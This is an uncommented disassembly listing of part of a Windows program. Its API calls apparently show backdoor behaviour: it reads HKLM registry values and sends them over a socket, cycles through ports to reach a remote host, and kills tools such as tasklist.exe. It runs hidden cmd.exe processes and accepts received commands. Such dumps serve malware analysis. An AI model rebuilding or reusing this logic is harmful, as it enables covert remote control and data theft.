mov dword [esp], 0x80000002
call sub.ADVAPI32.DLL_RegOpenKeyExA
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x40a820
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax*4 + 0x420140]
mov dword [esp], eax
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x3c]
mov edx, dword [eax*4 + 0x420140]
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
mov eax, dword [ebp - 0xd8]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
jmp 0x40a831
mov eax, dword [ebp - 0xd8]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
inc dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [eax*4 + 0x420100]
test eax, eax
setne al
test al, al
jne 0x40a78c
call sub.KERNEL32.dll_GetLastError
cmp eax, 0xb7
sete al
test al, al
je 0x40a876
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
mov dword [esp], 0
call sub.KERNEL32.dll_ExitProcess
mov dword [ebp - 0x40], 0x2714
jmp 0x40a949
cmp dword [ebp - 0x40], 0x274c
jne 0x40a8ff
mov dword [esp], 0x64
call sub.KERNEL32.dll_Sleep
sub esp, 4
mov dword [esp], str.verific
call sub.KERNEL32.dll_lstrlenA
sub esp, 4
mov edx, eax
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov dword [esp + 4], str.verific
mov dword [esp], eax
call sub.WS2_32.dll_send
sub esp, 0x10
cmp eax, 0xffffffff
sete al
test al, al
je 0x40a945
mov eax, dword [0x42d1d0]
mov dword [esp], eax
call sub.WS2_32.dll_closesocket
sub esp, 4
call sub.WS2_32.dll_WSACleanup
mov dword [esp], 0x1388
call sub.KERNEL32.dll_Sleep
sub esp, 4
jmp 0x40a95b
call sub.WS2_32.dll_WSAGetLastError
cmp eax, dword [ebp - 0x40]
je 0x40a915
call sub.WS2_32.dll_WSAGetLastError
cmp eax, 0x2749
jne 0x40a919
mov al, 1
jmp 0x40a91b
mov al, 0
test al, al
je 0x40a946
mov eax, dword [0x42d1d0]
mov dword [esp], eax
call sub.WS2_32.dll_closesocket
sub esp, 4
call sub.WS2_32.dll_WSACleanup
mov dword [esp], 0x1388
call sub.KERNEL32.dll_Sleep
sub esp, 4
jmp 0x40a95b
nop
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], 0x2b17
setle al
test al, al
jne 0x40a882
cmp byte [ebp - 0x97], 0x31
je 0x40a976
cmp byte [ebp - 0x97], 0x31
je 0x40a976
cmp byte [ebp - 0x97], 1
jne 0x40a9b5
lea eax, [ebp - 0xd4]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x407956
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.KERNEL32.dll_CreateThread
sub esp, 0x18
mov dword [ebp - 0xac], eax
cmp byte [ebp - 0x95], 0x31
je 0x40a9d0
cmp byte [ebp - 0x95], 0x31
je 0x40a9d0
cmp byte [ebp - 0x95], 1
jne 0x40a9d5
call fcn.00402b43
cmp byte [ebp - 0x98], 0x31
je 0x40a9f0
cmp byte [ebp - 0x98], 0x31
je 0x40a9f0
cmp byte [ebp - 0x98], 1
jne 0x40a9f5
call fcn.00402b7c
cmp byte [ebp - 0x96], 0x31
je 0x40aa10
cmp byte [ebp - 0x96], 0x31
je 0x40aa10
cmp byte [ebp - 0x96], 1
jne 0x40aa15
call fcn.00402045
mov dword [esp], str.cmd.exe
call fcn.00401c15
sub esp, 4
xor eax, 1
test al, al
jne 0x40aa41
mov dword [esp], str.conhost.exe
call fcn.00401c15
sub esp, 4
xor eax, 1
test al, al
je 0x40aa45
mov al, 1
jmp 0x40aa47
mov al, 0
test al, al
je 0x40ab83
jmp 0x40aa52
nop
mov dword [esp], str.find.exe
call fcn.00401aa6
sub esp, 4
mov dword [esp], str.tasklist.exe
call fcn.00401aa6
sub esp, 4
mov dword [esp], str.PING.EXE
call fcn.00401aa6
sub esp, 4
mov dword [esp], str.conhost.exe
call fcn.00401c15
sub esp, 4
test al, al
jne 0x40aaa5
mov dword [esp], str.CONHOST.EXE
call fcn.00401c15
sub esp, 4
test al, al
je 0x40aaa9
mov al, 1
jmp 0x40aaab
mov al, 0
test al, al
je 0x40aac0
mov dword [esp], str.conhost.exe
call fcn.00401aa6
sub esp, 4
jmp 0x40aaff
mov dword [esp], str.cmd.exe
call fcn.00401c15
sub esp, 4
test al, al
jne 0x40aae6
mov dword [esp], str.CMD.EXE
call fcn.00401c15
sub esp, 4
test al, al
je 0x40aaea
mov al, 1
jmp 0x40aaec
mov al, 0
test al, al
je 0x40aaff
mov dword [esp], str.cmd.exe
call fcn.00401aa6
sub esp, 4
mov dword [esp], str.cmd.exe
call fcn.00401c15
sub esp, 4
xor eax, 1
test al, al
je 0x40aa51
nop
mov dword [esp], 0x3e8
call sub.KERNEL32.dll_Sleep
sub esp, 4
lea eax, [ebp - 0x108]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x300]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x8000000
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x7c]
mov dword [esp], eax
call sub.KERNEL32.dll_CreateProcessA
sub esp, 0x28
mov dword [esp + 4], 0x186a0
mov dword [esp], 0x40
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
mov dword [ebp - 0x24], eax
mov eax, dword [0x42d1d0]
cmp eax, 0xffffffff
je 0x40abcb
mov eax, dword [0x42d1d0]
cmp eax, 0xffffffff
je 0x40abcb
call sub.WS2_32.dll_WSAGetLastError
cmp eax, 0x2745
je 0x40abcb
mov al, byte [ebp - 0x55]
xor eax, 1
test al, al
je 0x40abcb
mov al, 1
jmp 0x40abcd
mov al, 0
test al, al
je 0x40ac58
mov eax, dword [0x42d1d0]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x1869f
mov edx, dword [ebp - 0x24]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.WS2_32.dll_recv
sub esp, 0x10
cmp eax, 2
setg al
test al, al
je 0x40ac13
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call fcn.0040454f
jmp 0x40ac6f
call sub.WS2_32.dll_WSAGetLastError
cmp eax, 0x274c
setne al
test al, al
je 0x40ac6f
mov dword [esp], 0x1388
call sub.KERNEL32.dll_Sleep
sub esp, 4
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
mov eax, dword [0x42d1d0]
mov dword [esp], eax
call sub.WS2_32.dll_closesocket
sub esp, 4
call sub.WS2_32.dll_WSACleanup
jmp 0x40acca
mov eax, dword [0x42d1d0]
mov dword [esp], eax
call sub.WS2_32.dll_closesocket
sub esp, 4
call sub.WS2_32.dll_WSACleanup
jmp 0x40acca
mov eax, dword [0x42d1d0]
cmp eax, 0xffffffff
je 0x40ac83
mov eax, dword [0x42d1d0]
cmp eax, 0xffffffff
jne 0x40acb7
mov dword [esp], 0x1388
call sub.KERNEL32.dll_Sleep
sub esp, 4
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
mov eax, dword [0x42d1d0]
mov dword [esp], eax
call sub.WS2_32.dll_closesocket
sub esp, 4
call sub.WS2_32.dll_WSACleanup
jmp 0x40acca
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
jmp 0x40a84b
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalFree
sub esp, 4
mov eax, dword [0x42d1d0]
mov dword [esp], eax
call sub.WS2_32.dll_closesocket
sub esp, 4
call sub.WS2_32.dll_WSACleanup
mov dword [esp], 0x1388
call sub.KERNEL32.dll_Sleep
sub esp, 4
mov eax, 1
mov esp, ebx
cmp eax, 1
je 0x40a433
jmp 0x40a052
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret 0x10